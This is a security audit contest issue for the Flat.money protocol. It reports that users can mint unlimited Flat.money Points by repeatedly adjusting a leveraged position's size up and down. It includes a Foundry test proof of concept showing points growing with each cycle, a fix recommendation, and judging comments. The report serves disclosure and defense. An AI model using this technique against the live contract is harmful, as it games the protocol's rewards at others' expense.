sherlock-audit / 2023-12-flatmoney-judging

11 stars 9 forks source link

novaman33 - Users can mint as many `Flat.money Points` as they want #119

Closed sherlock-admin closed 8 months ago

sherlock-admin commented 8 months ago

novaman33

high

Users can mint as many Flat.money Points as they want

Summary

In the leverage module, the executeAdjust mints Flat.money Points if announcedAdjust.additionalSizeAdjustment >= 0. However a user can adjust the size both ways so every time they announce a positive adjustments they will receive points, which are not removed when they adjust the size down.This means that by adjusting the additional size up and down they will only increase their points being able to mint as much as they want.

Vulnerability Detail

In LeverageModule.sol users can mint as many Flat.money Points as they like only paying small fees - tradeFee and KeeperFee. PoC:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.18;

import {ExpectRevert} from "../../helpers/ExpectRevert.sol";
import {OrderHelpers} from "../../helpers/OrderHelpers.sol";
import {FlatcoinErrors} from "../../../src/libraries/FlatcoinErrors.sol";
import {FlatcoinStructs} from "../../../src/libraries/FlatcoinStructs.sol";

import "forge-std/console2.sol";

contract AdjustPositionTest is OrderHelpers, ExpectRevert {
    struct StateBefore {
        FlatcoinStructs.Position position;
        FlatcoinStructs.PositionSummary positionSummary;
        FlatcoinStructs.MarketSummary marketSummary;
        FlatcoinStructs.GlobalPositions globalPositions;
        uint256 collateralPerShare;
    }

    struct StateAfter {
        FlatcoinStructs.Position position;
        FlatcoinStructs.PositionSummary positionSummary;
        FlatcoinStructs.MarketSummary marketSummary;
        FlatcoinStructs.GlobalPositions globalPositions;
        uint256 collateralPerShare;
    }

    uint256 leverageTradingFee = 0.001e18; // 0.1%

    function setUp() public override {
        super.setUp();

        vm.startPrank(admin);

        leverageModProxy.setLevTradingFee(leverageTradingFee);
    }

    function test_mintingPoints() public {
        vm.startPrank(alice);

        uint256 aliceCollateralBalanceBefore = WETH.balanceOf(alice);
        uint256 stableDeposit = 100e18;
        uint256 collateralPrice = 1000e8;

        announceAndExecuteDeposit({
            traderAccount: alice,
            keeperAccount: keeper,
            depositAmount: stableDeposit,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });

        // 10 ETH margin, 30 ETH size (4x)
        uint256 tokenId = announceAndExecuteLeverageOpen({
            traderAccount: alice,
            keeperAccount: keeper,
            margin: 10e18,
            additionalSize: 20e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });
        console2.log(pointsModProxy.balanceOf(alice));//14000000000000000000000 = 140e20

        uint256 adjustmentTradeFee = announceAndExecuteLeverageAdjust({
            tokenId: tokenId,
            traderAccount: alice,
            keeperAccount: keeper,
            marginAdjustment: 0,
            additionalSizeAdjustment: 10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });
        console2.log(pointsModProxy.balanceOf(alice));//16000000000000000000000 = 160e20
        adjustmentTradeFee = announceAndExecuteLeverageAdjust({
            tokenId: tokenId,
            traderAccount: alice,
            keeperAccount: keeper,
            marginAdjustment: 0,
            additionalSizeAdjustment: -10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });
        console2.log(pointsModProxy.balanceOf(alice));//16000000000000000000000 = 160e20
        adjustmentTradeFee = announceAndExecuteLeverageAdjust({
            tokenId: tokenId,
            traderAccount: alice,
            keeperAccount: keeper,
            marginAdjustment: 0,
            additionalSizeAdjustment: 10e18,
            oraclePrice: collateralPrice,
            keeperFeeAmount: 0
        });
        console2.log(pointsModProxy.balanceOf(alice));//18000000000000000000000 = 180e20
    }
}

Impact

Users can mint as many Flat.money Points as they want - high

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LeverageModule.sol?plain=1#L225-L230

Tool used

Manual Review

Recommendation

Maybe mint Flat.money Points only when closing a position.

Duplicate of #187

sherlock-admin commented 8 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid